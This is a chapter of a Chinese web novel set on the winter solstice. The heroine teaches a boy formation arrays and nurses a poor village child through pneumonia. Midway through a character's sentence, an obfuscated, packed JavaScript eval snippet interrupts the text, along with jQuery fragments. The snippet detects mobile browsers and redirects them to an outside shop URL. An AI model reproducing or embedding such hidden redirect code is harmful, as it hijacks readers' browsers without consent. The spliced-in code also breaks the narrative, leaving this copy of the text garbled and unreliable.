默认冷灰
24号文字
方正启体

44. 冬至

作者:鹤九山本书字数:K更新时间:
    冬至前三天,晒谷观下了入冬以来第一场大雪。


    雪是半夜开始下的,起初只是细碎的雪粒子,敲在瓦上沙沙响。到了后半夜,变成了鹅毛大雪,纷纷扬扬,铺天盖地。晨起时,整个世界都白了——山白了,树白了,田白了,连老井的井沿都积了厚厚一圈雪。


    林照推开门,呼出的白气瞬间融入雪雾里。阿茸从窝里探出头,看见雪,新奇地“咩”了一声,试探着伸出前蹄踩了踩,又赶紧缩回来——太凉了。


    “都起来扫雪。”林照转身朝屋里喊,“雪太厚,压塌房檐就麻烦了。”


    几个孩子窸窸窣窣地穿衣起床。李虎领头,拿着大扫帚扫院子;黑娃和四毛搬来梯子,爬上房顶清瓦上的积雪;二壮带着五娃扫门前的小路;最小的豆苗也拿着小扫帚,有模有样地跟着扫。


    沈不言在院子里练剑。


    他的剑更慢了。慢到几乎看不清剑锋,只能看见一道淡淡的青影在雪中缓缓游走,像鱼在水里。剑过之处,雪不飞溅,反而温顺地让开一条路,露出底下湿润的黑土。等剑过后,雪又缓缓合拢,不留痕迹。


    “沈师兄的剑,越来越像犁了。”李虎边扫雪边小声说。


    林照看着,眼中含笑。她知道,沈不言找到了自己的路——不是云游剑派传承千年的“云游剑”,是他自己悟出的“耕剑”。剑意不在飘渺逍遥,在深耕细作,在默默滋养。


    早饭后,林照开始兑现承诺,教李虎阵法。


    教学地点选在堂屋。林照把老谷头的图纸一张张摊在桌上,先从最简单的“小五行聚灵阵”讲起。


    “五行不是相克吗?”李虎看着图纸上金木水火土五个方位的标记,疑惑道,“怎么聚灵?”


    “五行相克,也相生。”林照拿起五枚铜钱——这是她从陈砚留下的杂物里找的,分别代表金木水火土,“你看,金生水,水生木,木生火,火生土,土生金。这是一个循环。”


    她把铜钱按方位摆好:“聚灵阵的关键,不是强行抽取灵气,是让这个循环转起来。循环一转,自然会把周围的灵气慢慢吸引过来,就像水流会往低处走。”


    李虎似懂非懂:“那……怎么让循环转起来?”


    “用心。”林照说,“不是用力。你闭上眼睛,想象这五枚铜钱不是死物,是五个活着的点——金点在呼吸,水点在流动,木点在生长,火点在燃烧,土点在承载。它们彼此呼应,彼此滋养。”


    李虎闭上眼睛,努力想象。可脑海里只有五枚冷冰冰的铜钱。


    试了三次,都失败了。


    “林照,我……”李虎睁开眼,有些沮丧。


    “不急。”林照拍拍他的肩,“阵法之道,首重感应。你连麦子什么时候渴、什么时候饱都能感觉到,怎么会感觉不到铜钱的‘呼吸’?”


    她让李虎把铜钱收起来:“今天先不学了。你去后院,给菜窖里的白菜翻翻身——底下的大闷,上头的太干,翻一翻,让每颗菜都透透气。”


    李虎愣了:“这……跟阵法有什么关系?”


    “去了就知道。”


    李虎将信将疑地去了。


    林照走到院中,看沈不言练剑。雪已经停了,阳光透过云层洒下来,照在雪地上,泛着细碎的金光。


    “沈不言,你觉得李虎能学会阵法吗?”她问。


    沈不言收剑,想了想:“能。但需要时间。就像我练剑——以前总觉得剑越快越好,现在才知道,慢下来,才能听见剑自己的声音。”


    “剑有声音?”


    “有。”沈不言点头,“不同的时候,声音不同。在田里练,剑声像泥土翻动;在雪中练,剑声像雪落无声;在月下练,剑声像风过竹林。”


    他顿了顿,看向林照:“你教李虎的方法是对的。阵法不是符文和灵气的堆砌,是对万事万物‘呼吸’的感知。他先得学会听白菜的呼吸,才能听铜钱的呼吸,最后听地脉的呼吸。”


    林照笑了:“你现在说话越来越像老谷头了。”


    沈不言也笑:“在你这里住久了,染了地气。”


    这时,院门外传来脚步声。


    是王村长,还带着个裹得严严实实的小身影——正是王家村那个三岁的孩子,小名叫栓子。


    “林姑娘,”王村长搓着手,“栓子奶奶让我带他来谢谢你。孩子能下地走了,说想来看看救他的神仙姐姐。”


    栓子从厚厚的棉袄里探出小脸,怯生生地看着林照。脸色比上次红润了些,但还是很瘦,眼睛大大的,像受惊的小鹿。


    林照蹲下身,柔声问:“栓子,还难受吗?”


    栓子摇摇头,小声说:“不难受了。奶奶说,是姐姐给的药好。”


    “不是药好,是栓子自己争气。”林照摸摸他的头,“来,进屋坐,外头冷。”


    一行人进了堂屋。林照让豆苗去灶房端来热姜茶,又拿出些秋天晒的柿饼给栓子吃。


    王村长喝着茶,叹气道:“林姑娘,栓子是好些了,可村里其他孩子……今年冬天特别冷,好几个都咳嗽、发烧。村东头老刘家的孙子,烧了三天,昨天请了郎中,说是‘寒邪入肺’,开了药,可吃了也不见好。”


    林照心中一紧:“我去看看。”


    “这怎么行,太麻烦你了……”


    “不麻烦。”林照起身,“豆苗,带上药篓。沈先生,麻烦你照看栓子和观里的孩子。”


    沈不言点头:“放心。”


    林照和豆苗跟着王村长往王家村去。雪后的山路不好走,深一脚浅一脚,到村里时,鞋袜都湿了。


    老刘家比老赵家更穷。两间土房,窗户用油纸糊着,屋里昏暗阴冷。炕上躺着个五六岁的男孩,盖着床破棉被,小脸烧得通红,呼吸急促,喉咙里发出“嗬嗬”的声音。


    林照一摸额头,烫得吓人。


    她翻开孩子眼皮,又听了听胸口,脸色凝重:“是肺炎。再拖,要出人命。”


    “那……那怎么办?”老刘是个老实巴交的庄稼汉,急得直搓手,“郎中说没法治了,让准备后事……”


    “有法治。”林照从药篓里取出几味猛药——麻黄、桂枝、杏仁,都是发汗解表的。但她犹豫了,孩子体质太弱,用猛药怕扛不住。


    她想起老谷头教过的一个法子:“豆苗,去灶房,烧一大锅热水。刘叔,把你家所有的被子、棉袄都拿来。”


    热水烧好了。林照让老刘把孩子衣服脱了,用热毛巾从头到脚擦洗,擦一遍,裹一层被子。擦了三遍,裹了三层,孩子开始微微出汗。


    这时她才敢用药。把麻黄、桂枝减了量,加上甘草调和,熬成浓浓的一碗,趁热喂下去。


    药下肚,孩子汗出如浆。


    林照守在炕边,不时给孩子擦汗、换干毛巾。豆苗也守在灶前,随时添热水。从晌午到傍晚,孩子的高烧终于退了,呼吸也平稳下来。


    老刘跪在地上就要磕头,被林照拦住。


    “刘叔,孩子暂时没事了,但得养。这几天不能见风,不能受凉,多吃流食。”她写了个方子,“按这个方子抓药,吃七天。另外……”


    她从怀里掏出个小布袋,里面是些散碎银子:“这些钱,给孩子买点肉、买点蛋,补补身子。”


    老刘眼泪直流,说什么也不肯收。


    最后是王村长劝:“老刘,收下吧。林姑娘一片心意,你不收,她心里不安。等孩子好了,你多给晒谷观送几担柴火,算是报答。”


    老刘这才收了,千恩万谢。


    回去的路上,天已经黑了。雪地反射着月光,路倒不难走。豆苗牵着林照的手,忽然问:“照姐,为什么穷人总是生病?”


    林照沉默片刻,轻声道:“因为穷人生不起病。一点点小病,舍不得看郎中,拖成大病;得了大病,没钱抓药,只能硬扛。扛过去是命大,扛不过去……”


    她没说完,但豆苗懂了。


    “那……我们能帮他们吗?”


    “能帮一点是一点。”林照说,“但最重要的,不是等他们病了去救,是让他们少生病。”


    “怎么少生病?”


    林照想了想:“吃饱,穿暖,住得干净,干活不过度。这些说起来简单,做起来难。”


    豆苗似懂非懂,但把这话记在了心里。


    回到晒谷观,已是戌时。孩子们都睡了,只有沈不言还在堂屋等着,油灯下摆着一盘热腾腾的饺子。


    “王婶送来的。”沈不言说,“她说今天冬至,该吃饺子。”


    林照这才想起,今天是冬至了。


    她洗了手,和沈不言对坐吃饺子。饺子是白菜猪肉馅的,皮薄馅大,咬一口满嘴香。豆苗累坏了,吃了两个就趴桌上睡着了,林照把他抱回屋。


    吃完饺子,林照走到院中。雪又下了起来,细细密密的,在月光下像撒了一把盐。


    沈不言跟出来,递给她一件斗篷:“披上,别着凉。”


    “谢谢。”林照披上斗篷,望向王家村方向,“你说……修行到底是为了什么?”


    沈不言想了想:“以前我觉得,是为了变强,为了逍遥,为了长生。现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233504|197631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在觉得……是为了有能力,让像栓子、像老刘家孙子那样的孩子,能少受点苦。”


    林照转头看他:“你不觉得……这太渺小了吗?”


    “渺小?”沈不言笑了,“林照,一株麦子渺小吗?可千万株麦子,能养活千万人。一个孩子渺小吗?可每一个孩子,都是一条命,一个未来。”


    他顿了顿,声音低沉:“师父说过,云游剑派千年传承,不是为了出几个剑仙,是为了让持剑的人,记得剑该指向哪里。指向该护的人,指向该守的土,这剑,才算是剑。”


    林照心中触动。


    两人沉默着看雪。雪越下越大,很快在地上积了厚厚一层。


    “林照!沈师兄!”


    李虎忽然从后院跑出来,手里捧着那五枚铜钱,脸上是抑制不住的兴奋:“我……我好像感觉到了!”


    “感觉到什么?”林照问。


    “铜钱的呼吸!”李虎激动地说,“我刚才在菜窖翻白菜,翻着翻着,忽然就明白了——每颗白菜的呼吸都不一样。底下的闷,呼吸就沉;上头的干,呼吸就急。我给它们翻身,让闷的透透气,让干的沾沾潮气,然后……然后我就感觉到,整个菜窖都在呼吸!”


    他摊开手心,五枚铜钱静静躺着:“我把铜钱拿出来,闭上眼睛,就感觉……金点不是冷的,是温的,像刚出炉的铜器;水点不是死的,是润的,像井里的水;木点不是硬的,是韧的,像春天的树枝;火点不是烫的,是暖的,像灶里的余烬;土点不是沉的,是厚的,像我们脚下的地!”


    他深吸一口气:“然后它们就……就转起来了!不用我推,自己就转!”


    林照和沈不言对视一眼,都看到了对方眼中的惊喜。


    “走,去试试。”林照说。


    三人来到后院。李虎按方位摆好铜钱,闭上眼睛,静立片刻。渐渐地,五枚铜钱开始微微发光——金点泛白,水点泛黑,木点泛青,火点泛红,土点泛黄。


    五色光芒流转,形成一个缓慢旋转的光环。光环中,隐隐有气流涌动,很微弱,但确实存在——那是被吸引过来的天地灵气。


    虽然只是一点点,连滋养一株草都不够,但这意味着,李虎入门了。


    “成了!”李虎睁开眼,满脸兴奋,“林照,我成了!”


    林照拍拍他的肩:“好样的。但这只是开始。阵法之道,深如海。你今天能引动五枚铜钱,明天要学引动五十枚、五百枚,最后要能引动整片土地的地脉。”


    李虎重重点头:“我会努力的!”


    夜深了,李虎回去休息。林照和沈不言还站在院子里。


    “这孩子,大器晚成。”沈不言说。


    “嗯。”林照点头,“但更难得的,是他有那颗心——能感觉到白菜呼吸的心。有这颗心,学什么都能成。”


    雪停了,月亮从云层后露出来,清辉洒在雪地上,一片皎洁。


    林照忽然想起老谷头的话:“照丫头,冬至是一年里黑夜最长的一天。但过了今天,白天就一天比一天长了。再黑暗,光总会来的。”


    她望向东方——那是太阳升起的方向。


    虽然此刻还是一片漆黑,但再过几个时辰,天就会亮。


    就像这片土地上的生命,再艰难,也在努力生长。


    “沈不言,”她轻声说,“明天,我们去村里看看。教他们怎么砌火炕,怎么储冬菜,怎么预防风寒。能少病一个是一个。”


    “好。”沈不言点头,“我跟你去。”


    两人约定,各自回屋。


    林照躺在床上,却睡不着。她想起白天老刘家那个孩子烧得通红的脸,想起栓子怯生生的眼睛,想起王村长搓着手说“麻烦你了”,想起这片土地上,还有千千万万这样艰难活着的人。


    她忽然明白了守土令真正的重量。


    守土,不是守着一亩三分地,是守着这片土地上所有的生命,让他们能少受点苦,多尝点甜。


    这担子很重。


    但她愿意扛。


    因为她是老谷头的徒弟,是守土人,是这片土地的女儿。


    窗外,传来阿茸轻柔的“咩”声,像在说梦话。


    林照闭上眼,轻声说:“睡吧,明天还要干活呢。”


    月光透过窗纸,洒在地上,一片安宁。


    而在晒谷观的后院,那五枚铜钱还在微微发光,五色光芒缓缓流转,像大地沉睡时的呼吸。


    一夜,就这样过去。


    冬至过了。


    天,该亮得越来越早了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)